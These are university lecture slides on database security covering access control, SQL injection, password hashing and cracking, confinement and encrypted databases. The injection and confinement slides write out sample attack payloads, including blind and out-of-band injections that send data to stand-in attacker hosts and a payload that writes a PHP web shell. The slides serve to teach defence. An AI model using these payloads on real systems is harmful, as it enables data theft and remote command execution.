Database Security

COM-402: Information Security and Privacy

(slide credits: Nicolas Gailly)
Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data (e.g., password databases)
- Confinement
- Encryption
- Data Inference
- Encrypted Database Processing
Introduction

Databases now used everywhere

- Banking, Industry, Social network, Government, Research, Personal..
- Leads to new types of analysis (big data, machine learning etc)

Critical to think about the security of the data they contain

- What are the security requirements of database systems?
- What are the main attack vectors of database systems?
- What are the main protections of database systems?
A Typical Company Network
Multitier architecture

**Presentation tier**: top most level, display information such as merchandises, shopping card etc..

**Application tier**: controls an application functionality

**Data tier**: control the data persistence mechanisms and provides data access layer API.
Database Threats

The most common threats to database systems include:

- Excessive and unused or abused privileges
- Weak passwords
- SQL injections (e.g., via web apps)
- Malware
- Poor auditing records
- Storage media exposure (e.g., insider attacks, unsecured backups)
- Denial of service
Commonality of threats

Yahoo Says 1 Billion User Accounts Were Hacked

- 360 million MySpace users

- **1. Heartland Payment Systems**
  - **Date:** March 2008
  - **Impact:** 134 million credit cards exposed through SQL injection to install spyware on Heartland's data systems.

Outline

- Introduction
- **Access Control**
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Encrypted Databases Processing
Access Control

First defense is the authentication of users and their respective rights.

Access control is responsible for control of rules determined by security policies for all direct accesses to the system.

One must apply the principle of the least privilege to give rights to users.

- A student should **only** be able to access his grade and **only** his.
- Administrative access must be especially tightly controlled.
Access Control #2

OS security permissions:
User `mysql` has
- write access to `/var/mysql` and `/var/log/mysql`
- Read access to `/var/mysql`

listening on localhost:3306
One user for read/write on Users
One user for read/write on the rest

Accept connections to port 3306 from known hosts with secure channel (TLS)
Firewall enforced rules (Iptables)
Access Control #3

Discretionary Access Control (DAC):

- The owner of an object can define which subjects can access the object

MySQL command:

- GRANT privileges ON object TO users [WITH GRANT OPTION]
- REVOKE privileges ON object FROM users

Different privileges available:

- SELECT, INSERT, DELETE, UPDATE, REFERENCES

Ex:

- "GRANT UPDATE ON EMPLOYEES(salary) TO hr_users;"
Access Control #4

Role Based Access Control: Assign to a role (‘professor’) a set of operations and the objects to which those operations need access to.

- ‘Professor’ can read ‘students’ table, and write to ‘students_grade` for its course.

To enable row level granularity in MySQL, you can use Views

- A view is a “virtual” table that results from a valid query, consisting of rows and columns.
- CREATE VIEW Students_Grades AS
  
  ```
  SELECT * FROM `students_grade`
  WHERE `course_id` = COURSE_ID;
  ```
Common Access Control Fail

Important to use different accounts on the database for different systems:

- One account that have access to the credentials table
  - Better: One for login (read), one for signup (write).
- Another one that have access to regular (application) table

Otherwise, any failure in the web application can access credentials table!

Verizon DBIR: Over Half Of Data Breaches Exploited Legitimate Passwords In 2015

Financial sector suffered the most breaches last year, followed by the accommodation/hotel sector.

Web attacks surged, financial gain reigned as a motive, and mobile and IoT remained a non-factor in real-world attacks last year.

Legitimate user credentials were used in most data breaches, with some 63% of them using weak, default, or stolen passwords, according to the new 2016 Verizon Data Breach Investigations Report (DBIR), which publishes tomorrow. While widespread abuse of legitimate user credentials by bad guys is really no surprise, such a high percentage of cases was startling, according to Marc Spitzer, senior manager at Verizon Security Research, and co-author of the report.
Outline

- Introduction
- Access Control
- **Input validation & SQL Injections**
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Encrypted Databases Processing
Improper Access

How does one control the flow of the application?

Basic application query: `SELECT username, email FROM users WHERE id=$Id`

Application have a list of predefined queries, with certain parameters => Information flow.

What can go wrong!? 
Vulnerabilities: SQL Injections (1)

Wrong/dangerous: `SELECT name, email FROM users WHERE id=$Id`

‘$Id’ is **user input** coming from web form, application, http headers etc.

- If not sanitized, attacker can set it to contain SQL Query!

Properly-sanitized example:

```
stmt = "SELECT fullname FROM employees WHERE id = %s"
cursor.execute(stmt, (5,))
```

**Why** is input sanitization critical?
Vulnerabilities: SQL Injections (2)

Query Template: SELECT name, email FROM users WHERE id=$Id

Attack Input: $Id = '1' UNION ALL number, pin FROM creditcards

Resulting Query: $id = SELECT name, email FROM users WHERE id='1' UNION ALL number, pin FROM creditcards

Attacker Gets:

<table>
<thead>
<tr>
<th>name</th>
<th>email</th>
</tr>
</thead>
<tbody>
<tr>
<td>Turing</td>
<td><a href="mailto:turing@machine.com">turing@machine.com</a></td>
</tr>
<tr>
<td>5105105105105100</td>
<td>845</td>
</tr>
</tbody>
</table>
Vulnerabilities: SQL Injections (3)

What if attacker doesn’t (yet) know the database schema and doesn’t have direct access to raw query results?

**Boolean (blind) injection:** formulate queries as “yes/no” questions, for which attacker obtains “answer” by observing whether Web page loads correctly.

Test query: `SELECT name, email FROM users WHERE id='\$Id'`

\`\$Id\` = 1' and ASCII(substring((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1,1,1)) > 97

- Return YES if `table_name[0] > 'a'`, NO otherwise.

Query character by character for table name, column, rows etc...
Vulnerabilities: SQL Injections (4)

Test query: SELECT name, email FROM users WHERE id=$Id

Error-based blind injection: Use error reporting to leak information:

- **Oracle:** `10||UTL_INADDR.GET_HOST_NAME(SELECT creditcard FROM CreditCard))`
  - ‘Error 1580 (XXX): ‘555000782093’ is not valid host name’

Using mathematical functions in Mysql: query returns 0 on success.

```sql
> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
```
Vulnerabilities: SQL Injections (5)

Test query: SELECT name, email FROM users WHERE id=$Id

Out-of-band (blind): Cause database to make a query to specific website

- Oracle:
  - 1||UTL_HTTP.request('evilServer.com:80/'||(SELECT creditcard FROM creditTable)

- MySQL:
  - 1 UNION ALL SELECT LOAD_FILE(CONCAT('\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

The attacker checks in 1) the log of its webserver, or in 2) the log of its DNS resolver for its website:

12:56:34 156.67.89.134 HTTP/1.1 GET /MariaDB version 1.5.7+5621
Vulnerabilities: SQL Injections (6)

Test query: SELECT name, email FROM users WHERE id='$Id'

**Time-based delay (blind):** Guess the value based on the time a query takes.

1' and (select sleep(10) from purchases where (select password from uses where username like '%admin%') like '%')

- If requests takes >= 10 seconds, username contains “admin”

Combined with SUBSTRING and ASCII, one can determine the full name and password relatively quickly (linear number of queries)
SQL Injection: Proper Validation

To guard against most of these attacks, the gold rule is:

**ALWAYS SANITIZE USER INPUT**

Most libraries provide security mechanisms. Most effective one is Prepared Statement:

```python
stmt = "SELECT fullname FROM employees WHERE id = %s"

cursor.execute(stmt, (5,))
```

Query is a SQL valid program. Parameter is passed as a second program, not modifying original query.

Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Encrypted Databases Processing
Protection of sensitive data

Types of sensitive data: Login credentials, credit card, medical records, browser history etc

First target of hackers: login credentials. database dumps leaks millions of password.

https://haveibeenpwned.com/
Important example: Passwords Databases

Users have generally the same passwords for different services.

Need to protect against weak passwords!

<table>
<thead>
<tr>
<th>123456</th>
<th>123456789</th>
</tr>
</thead>
<tbody>
<tr>
<td>password</td>
<td>football</td>
</tr>
<tr>
<td>12345678</td>
<td>1234</td>
</tr>
<tr>
<td>qwerty</td>
<td>1234567</td>
</tr>
<tr>
<td>12345</td>
<td>baseball</td>
</tr>
</tbody>
</table>

Password Fail

With one RADEON GPU card:

$52^6 \approx 20$ billions combinations

takes about…

3 seconds to crack!
Hash the password

Storing the plaintext password is **not** a solution

First solution: Store the HASH of the password

- “12345” => “d577273ff885c3f84dadb8578bb41399” using MD5

- **Vulnerable to brute force attacks**
  - Try “11111”, “11112”, … , “12345” OK!
  - Effective if password short with alphanumerical characters ( “12345” )

- **Vulnerable to dictionary attacks**
  - Compute and store hash of the top 1 million passwords...
  - Quick comparison to find passwords!

[https://crackstation.net/hashing-security.htm](https://crackstation.net/hashing-security.htm)
Password cracking

State of the arts tools cracking hashes: Hashcat, John The Ripper, Brutus etc

- regular RADEON card: 8.2 billion password combination each second
- One pentester cracked 13486 passwords in one hour out of 16449.
- Up to 1 trillion combination with AMD 7970 card in two minutes.

Heuristics used: try uppercase first letter, numbers at the end, only alphabetical, standard substitutions (1 -> I, e -> 3, o -> 0, etc)...

https://arstechnica.com/security/2012/08/passwords-under-assault/

Crack with Rainbow tables

Simply hashing passwords is vulnerable to Rainbow tables.
Crack with Rainbow tables (2)

List of chain with a **starting point** and an **ending point** (stored in disk)

Creation: First **hash** the plaintext, then **reduce** to plaintext, and start again.

Reduction functions maps from Hash space to password space

- Example: take the first 6 characters from the hash in hexadecimal

<table>
<thead>
<tr>
<th>Hash</th>
<th>First 6 Characters</th>
<th>Second Hash</th>
<th>Second 6 Characters</th>
<th>Third Hash</th>
<th>Third 6 Characters</th>
</tr>
</thead>
<tbody>
<tr>
<td>69c2ff4fb930bef232</td>
<td>69c2</td>
<td>829dcd2badfc4</td>
<td>c87bd6df9636a6ee740</td>
<td>c87bd6</td>
<td>acde79e5ce618d1310</td>
</tr>
<tr>
<td>69c2ff4fb930bef232</td>
<td>69c2</td>
<td>829dcd2badfc4</td>
<td>c87bd6df9636a6ee740</td>
<td>c87bd6</td>
<td>acde79e5ce618d1310</td>
</tr>
</tbody>
</table>
To find the password:

- **Loop:**
  - If hash in the list of final hashes (ending point), **break**.
  - If not, reduce hash into another plaintext, and hash the new plaintext.
- The chain for which the hash matches the final hash (ending point) contains the original hash.
  - Lookup the plaintext before!

- **Example**: “0b90a91afdf979885dbf62d8092bd2d8”
  - Reduce to “0b90a9”, hash it to “5bf8f…4c66” => End of the chain 2!
  - Start from “93e789....63949”, and find “93e789”

---

<table>
<thead>
<tr>
<th>0b90a91afdf979885dbf62d8092bd2d8</th>
<th>69c2ff4fb930bef232829dcc2badfc4</th>
<th>69c22ff</th>
<th>c87bd6df9636a6ee74051ed5221ad19</th>
<th>c87bd6</th>
<th>acde79e5ce618d13101390760e243d0f</th>
</tr>
</thead>
<tbody>
<tr>
<td>93e78901665a674eed01431da2363949</td>
<td>93e789</td>
<td>93e789</td>
<td>0b90a91afdf979885dbf62d8092bd2d8</td>
<td>0b90a9</td>
<td>5bf8f88421754cccb29ed9b055e374c66</td>
</tr>
</tbody>
</table>
Crack with Rainbow Tables (4)

Collisions for the reduction function occur:

- Password space short
- Two chains can have the same ending point

Consequences are: much fewer passwords covered, useless usage of memory

Loops can happen in a chain: “A” -> “1234” -> “B” -> “A” -> “1234” -> …

- Can’t break out of the chain!

Solution: different reduction functions for each columns (=> rainbow…)

```
69c2ff4d4fb930bef2328 29dcc2badfc4 -> ”69c2ff” -> c87bd6df9636a6ee740 51ed52221ad19 -> ”21ad19” -> bf66458cfda4a6e484e871275f35
93e78901665a674eed01431da2363949 -> ”93e789” -> 0b90a91afdf979885dbf62d8092bd2d8 -> ”2bd2d8” -> 169aa3a743a1f2bf3fa2cbef147e2a1a
```
Hash the password #2

Second solution: append a Salt (i.e. random string) to the password **before** hashing

- Hash("12345","mysalt") => “cbf61c7303f057c90d45ac64f3a7c0cc”
- Hash("12345","different") => “f9bbfa62525483452aa1d160c753c250”

How to manage the salt?

- Salt reuse: **never**! Can mount a Rainbow table with salt included.
- Short salt: **never**! 3 characters [A-Za-z0-9] => 6760 possible salts, too easy!
- **New long random salt for each new hashing**

Still vulnerable to GPU based brute force / dictionary attacks (salt included in dumps)!
Hash the password #3

Third solution: obscure hashing

- “A system should be secure even if everything is know about the system, except the key” Kerckhoffs’s principle, https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle
- Can build rainbow tables using this specific algorithm!

https://video.adm.ntnu.no/pres/54b660049af94
Hash the password #4

Fourth solution (**good**): Use dedicated password hash function.

- **Slow** hash function: iterates +10’000 times the hashing
  - Brute force or dictionary attacks are too slow to be worthwhile
  - PBKDF2, bcrypt

- **Memory hard** hash function:
  - Require random access to a long vector of integers
  - Either keep vector in RAM (huge memory) or compute on-the-fly (slow)
  - Scrypt, Argon2

https://en.wikipedia.org/wiki/Scrypt
Hash the password #5

Fifth solution (good, maybe): Use keyed-Hash functions (HMAC)

- Takes an additional **secret key** parameter
- Only knowledge of the secret can validate a password
  - Provides integrity and authentication
  - How to **manage the key**?

Managing Secret Keys

Keeping the key on:

- The server is a **bad idea**. Server compromise leads to key compromise.
- Another server is **better**. But fails against hardware attacks if disk stolen and network compromise.
- Hardware Security Module (HSM):
  - Secure key generation, storage, mgmt
  - Symmetric and asymmetric crypto. operations
  - Prevent tampering or bus probing
  - But hardware isn’t perfect, may fail...

Randomness

Need randomness where there is crypto (HTTPS, software update etc)

- Need a good random source for our salt and keys!

Pseudo Random Number Generator (PRNG) are our best bet.

- `/dev/urandom` on linux

Bad PRNG can leads to compromise of private key:

- Researchers factored out 24,816 SSL RSA keys from the Internet. An attacker can impersonate the website!

Hash the password - Comparing

Usual flow when user logs in:

1. User sends username / password
2. Server hashes the password and retrieve the stored password
3. Server compares both passwords

Naive implementation of comparing two byte strings:

```
For i = 0 .. len(hash):
    If hash[i] != computed[i]:
        Return FALSE
Return TRUE
```

What could go wrong ?
Hash the password - Comparing #2

Attacker can guess **hashed** value of the password IF he can measure the time the server takes to compare the hash.

If a compare takes a bit longer than usual, this is the first character of the hash. Similar to time based SQL injections.

Needs **constant time equality check**:

```plaintext
b := 0
For i = 0 .. len(hash):
    b |= hash[i] ^ computed[i]
return b // 0 if equals
```
Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Encrypted Databases Processing
Confinement

Confinement should provide:

1. Restricting access only to authenticated servers (web application)
   - Direct access to the database gives:
     - Version information (to find exploits, 0-days)
     - Brute force login
     - Unrestricted queries
   - Always put a firewall in front, and in a separate network zone!
Confinement

Confinement should provide:

2. Host security: Database should have least privilege on host system

- Attack using SQL injection and php sites:
  - UNION SELECT "<? system($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/website/exec.php'
  - Read "/etc/passwd", "/etc/shadow" etc
- Revoke access with: REVOKE FILE on *.* FROM 'user'@'ip';
- Check host permission of the "mysql" user
- Only listens on port localhost:3306
- Have a firewall doing the NAT with external servers
Confinement

Confinement should provide:

3. Physical security: Must regulate the access to the data center only to authorized persons.

Corruptions & coercions are usual threats against sysadmins!

Use a certified data center with

- Camera surveillance
- Locked server rooms
- Disable removable drive (USB)

Data centers have different level of certifications, equivalent to FIPS certifications.

Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Privacy Preserving Databases
Encryption: Data in motion

Data in motion can easily be intercepted:

- NSA has a wiretapping program (incl. undersea cables)
- BGP False advertisements can lead to IP hijacking (and DDOS)
- MitM attack in a public hotspot (ARP spoofing, DNS poisoning..)
- Insider threats such as an underpaid sysadmin having access to the database server


Encryption: Data in motion #2

Best defense is to use TLS between all endpoints where data transits.

- Client <-> web server <-> database

Certificate management (PKI) is still problematic. Place trust only in certificates generated by your own PKI, as rarely as possible.
Encryption: Data at rest

Physical security: an attacker can read the disk if non encrypted

- Police record database are separated from the Internet
- VAULT7: “In these cases, a CIA officer, agent or allied intelligence officer acting under instructions, physically infiltrates the targeted workplace. The attacker is provided with a USB containing malware developed for the CIA for this purpose, which is inserted into the targeted computer. The attacker then infects and exfiltrates data to removable media.”

https://wikileaks.org/ciav7p1/
Encryption: Data at rest

3 major ways for data encryption at rest:

- **Full-disk encryption**
  - Easiest solution but not flexible

- **Application level encryption:**
  - Also protect data in motion!
  - Might be difficult to put in place in already existing applications

- **Database level encryption:**
  - Overhead of only 3-5% with MySQL MariaDB
  - Table, and row level granularity possible!

https://www.percona.com/blog/2016/04/08/mysql-data-at-rest-encryption/
Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- **Data Inference**
- Encrypted Databases Processing
Database Inference

- Derive unknown information based on retrieved information
- Happens using aggregation mechanisms on values where individual access is forbidden
- “SELECT AVG(salary) FROM employees WHERE role LIKE ’%CEO%’”
  - Even if access to raw salary from the table is forbidden!
- Query outputs: 10000

<table>
<thead>
<tr>
<th>Name</th>
<th>Salary</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jango Fett</td>
<td>6886</td>
<td>Bounty Hunter</td>
</tr>
<tr>
<td>Darth Sidius</td>
<td>10000</td>
<td>CEO of Dark Forces Inc.</td>
</tr>
</tbody>
</table>
Outline

- Introduction
- Access Control
- Input validation & SQL Injections
- Sensitive data
- Confinement
- Encryption
- Data Inference
- Encrypted Database Processing
Encrypted Database Processing

Can database server/provider support operations on an encrypted database \textit{without} ever decrypting it or holding the decryption keys?

Content should be encrypted to the database provider

One can do operations on encrypted data using fully homomorphic encryption. For example:

\[ E(m_1) \times E(m_2) = E(m_1 \times m_2) \]

User encrypt their data before accessing the database, still compute on it.
CryptDB

For different operations, one encryption layer is added.

Remove layers to apply a specific operation on encrypted data.

https://css.csail.mit.edu/cryptdb/
Private Information Retrieval

- Access pattern and metadata can reveal sensitive information
- Private Information Retrieval enables one to retrieve data from a database **without the database knowing which data** it retrieved.

Example: I want to retrieve informations on the movie “Bridget Jones Baby” **without** the database knowing that I’m searching for this movie (of course).
Privacy Conscious Data Sharing

Data providers want to use their data in a privacy conscious manner.

A growing concern for hospitals that want to share medical data, and run analysis without revealing patient’s data.

Unlynx:

- Sensitive data encrypted by collective key.
- Decryption is only possible collectively.
- Data is protected against database intrusion/stealing.
- Use of Homomorphic Encryption to be able to query database against specific information.
- UnLynx: A Decentralized System for Privacy-Conscious Data Sharing.
Conclusion

Databases are overwhelmingly common, high-value points of attack

Protection spans a broad spectrum of considerations:

- Network and system architecture, compartmentalization (e.g., multi-tier)
- Access control, input validation, encryption etc.
- Specialized handling of particularly sensitive data (e.g., passwords)

Old infrastructures struggle to maintain adequate security

“End-to-end” encrypted databases possible, but still rare, experimental